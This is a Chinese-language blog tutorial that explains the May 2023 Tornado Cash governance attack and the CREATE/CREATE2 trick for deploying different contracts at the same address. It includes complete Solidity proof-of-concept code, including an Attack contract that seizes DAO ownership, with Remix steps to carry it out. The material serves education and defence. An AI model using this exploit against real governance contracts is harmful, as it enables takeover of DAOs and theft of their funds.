{"content":{"title":"解析 Tornado 治理攻击 - 如何同一个地址上部署不同的合约","body":"大概两周前（5 月 20 日），知名混币协议 Tornado Cash 遭受到治理攻击，黑客获取到了Tornado Cash的治理合约的控制权（Owner）。\r\n\r\n攻击过程是这样的： 攻击者先提交了一个“看起来正常”的提案， 待提案通过之后， 销毁了提案要执行的合约地址， 并在该地址上重新创建了一个攻击合约。\r\n\r\n攻击过程可以查看 SharkTeam 的  [Tornado.Cash提案攻击原理分析](https://learnblockchain.cn/article/5844 )。\r\n\r\n这里攻击的关键是在**同一个地址上部署了不同的合约**， 这是如何实现的呢？\r\n\r\n\r\n\r\n## 背景知识\r\n\r\nEVM 中有两个操作码用来创建合约： `CREATE` 与 `CREATE2` 。\r\n\r\n\r\n\r\n###  `CREATE` 操作码\r\n\r\n 当使用 `new Token()` 使用的是  `CREATE` 操作码 ， 创建的合约地址计算函数为：\r\n\r\n```solidity\r\naddress tokenAddr = bytes20(keccak256(senderAddress, nonce))\r\n```\r\n\r\n创建的合约地址是通过**创建者地址** + **创建者Nonce**（创建合约的数量）来确定的， 由于 Nonce 总是逐步递增的， 当 Nonce 增加时，创建的合约地址总是是不同的。\r\n\r\n\r\n\r\n### `CREATE2` 操作码\r\n\r\n当添加一个salt时 `new Token{salt: bytes32()}()` ，则使用的是  `CREATE2` 操作码 ， 创建的合约地址计算函数为： \r\n\r\n```solidity\r\n address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))\r\n```\r\n\r\n创建的合约地址是 **创建者地址** + **自定义的盐** + **要部署的智能合约的字节码**， 因此 只有相同字节码 和 使用相同的盐值，才可以部署到同一个合约地址上。\r\n\r\n\r\n\r\n\r\n\r\n那么如何才能在同一地址如何部署不用的合约？\r\n\r\n\r\n\r\n## 攻击手段\r\n\r\n攻击者结合使用 `Create2` 和 `Create` 来创建合约， 如图：\r\n\r\n![image-20230602114327923](https://img.learnblockchain.cn/pics/20230602114337.png)\r\n\r\n\r\n\r\n> 代码参考自： https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/\r\n\r\n\r\n\r\n先用 `Create2` 部署一个合约 `Deployer` ， 在 `Deployer` 使用 Create 创建目标合约 `Proposal`（用于提案使用）。  `Deployer` 和  `Proposal` 合约中均有自毁实现（`selfdestruct`）。\r\n\r\n在提案通过后，攻击者把  `Deployer` 和  `Proposal` 合约销毁，然后重新用相同的slat创建 `Deployer`  ，  `Deployer` 字节码不变，slat 也相同，因此会得到一个和之前相同的   `Deployer`  合约地址， 但此时   `Deployer`  合约的状态被清空了， nonce 从 0 开始，因此可以使用该 nonce 创建另一个合约`Attack`。  \r\n\r\n\r\n\r\n\r\n\r\n## 攻击代码示例\r\n\r\n 此代码来自：https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/\r\n\r\n\r\n\r\n```solidity\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.8.17;\r\n\r\n\r\ncontract DAO {\r\n    struct Proposal {\r\n        address target;\r\n        bool approved;\r\n        bool executed;\r\n    }\r\n\r\n    address public owner = msg.sender;\r\n    Proposal[] public proposals;\r\n\r\n    function approve(address target) external {\r\n        require(msg.sender == owner, \"not authorized\");\r\n\r\n        proposals.push(Proposal({target: target, approved: true, executed: false}));\r\n    }\r\n\r\n    function execute(uint256 proposalId) external payable {\r\n        Proposal storage proposal = proposals[proposalId];\r\n        require(proposal.approved, \"not approved\");\r\n        require(!proposal.executed, \"executed\");\r\n\r\n        proposal.executed = true;\r\n\r\n        (bool ok, ) = proposal.target.delegatecall(\r\n            abi.encodeWithSignature(\"executeProposal()\")\r\n        );\r\n        require(ok, \"delegatecall failed\");\r\n    }\r\n}\r\n\r\ncontract Proposal {\r\n    event Log(string message);\r\n\r\n    function executeProposal() external {\r\n        emit Log(\"Excuted code approved by DAO\");\r\n    }\r\n\r\n    function emergencyStop() external {\r\n        selfdestruct(payable(address(0)));\r\n    }\r\n}\r\n\r\ncontract Attack {\r\n    event Log(string message);\r\n\r\n    address public owner;\r\n\r\n    function executeProposal() external {\r\n        emit Log(\"Excuted code not approved by DAO :)\");\r\n        // For example - set DAO's owner to attacker\r\n        owner = msg.sender;\r\n    }\r\n}\r\n\r\ncontract DeployerDeployer {\r\n    event Log(address addr);\r\n\r\n    function deploy() external {\r\n        bytes32 salt = keccak256(abi.encode(uint(123)));\r\n        address addr = address(new Deployer{salt: salt}());\r\n        emit Log(addr);\r\n    }\r\n}\r\n\r\ncontract Deployer {\r\n    event Log(address addr);\r\n\r\n    function deployProposal() external {\r\n        address addr = address(new Proposal());\r\n        emit Log(addr);\r\n    }\r\n\r\n    function deployAttack() external {\r\n        address addr = address(new Attack());\r\n        emit Log(addr);\r\n    }\r\n\r\n    function kill() external {\r\n        selfdestruct(payable(address(0)));\r\n    }\r\n}\r\n\r\n```\r\n\r\n大家可以使用该代码自己在 Remix 中演练一下。\r\n\r\n\r\n\r\n1. 首先部署 `DeployerDeployer` ， 调用 `DeployerDeployer.deploy()` 部署 `Deployer` ， 然后调用   `Deployer.deployProposal()`  部署  `Proposal` 。 \r\n2. 拿到 `Proposal` 提案合约地址后， 向  DAO 发起提案。\r\n3. 分别调用 `Deployer.kill` 和  `Proposal.emergencyStop` 销毁掉 `Deployer` 和 `Proposal`\r\n4. 再次调用 `DeployerDeployer.deploy()` 部署 `Deployer` ， 调用 `Deployer.deployAttack()` 部署  `Attack` ，    `Attack`  将和之前的   `Proposal` 一致。\r\n5. 执行 `DAO.execute` 时，攻击完成 获取到了 DAO 的 Owner 权限。\r\n\r\n\r\n---\r\n\r\n来 [DeCert.me](https://decert.me/quests/10003) 码一个未来，DeCert 让每一位开发者轻松构建自己的可信履历。\r\n\r\nDeCert.me 由登链社区 [@UpchainDAO](https://twitter.com/upchaindao) 孵化，欢迎 [Discord 频道](https://discord.com/invite/kuSZHftTqe) 一起交流。\r\n\r\n本教程来自贡献者 [@Tiny熊](https://twitter.com/tinyxiong_eth)。"},"author":{"user":"https://learnblockchain.cn/people/13917","address":null},"history":"QmSNUbjXvWyG4ejD462v93vMeLvzrdyhuiLTCr7jzMZDVf","timestamp":1685696715,"version":1}